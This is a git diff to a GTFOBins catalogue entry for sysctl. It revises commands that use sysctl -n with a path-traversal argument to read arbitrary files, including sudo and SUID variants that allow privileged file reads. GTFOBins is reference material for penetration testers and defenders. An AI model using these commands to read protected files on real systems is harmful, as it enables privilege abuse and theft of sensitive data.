diff --git a/_gtfobins/sysctl.md b/_gtfobins/sysctl.md index 3123e23..cef069e 100644 --- a/_gtfobins/sysctl.md +++ b/_gtfobins/sysctl.md @@ -1,16 +1,16 @@ --- +description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files. functions: file-read: - - description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n. - code: | LFILE=file_to_read - sysctl -n "/../../../../../$LFILE" + /usr/sbin/sysctl -n "/../../$LFILE" suid: - code: | LFILE=file_to_read - ./sysctl -n "/../../../../../$LFILE" + ./sysctl -n "/../../$LFILE" sudo: - code: | LFILE=file_to_read - sudo sysctl -n "/../../../../../$LFILE" + sudo sysctl -n "/../../$LFILE" ---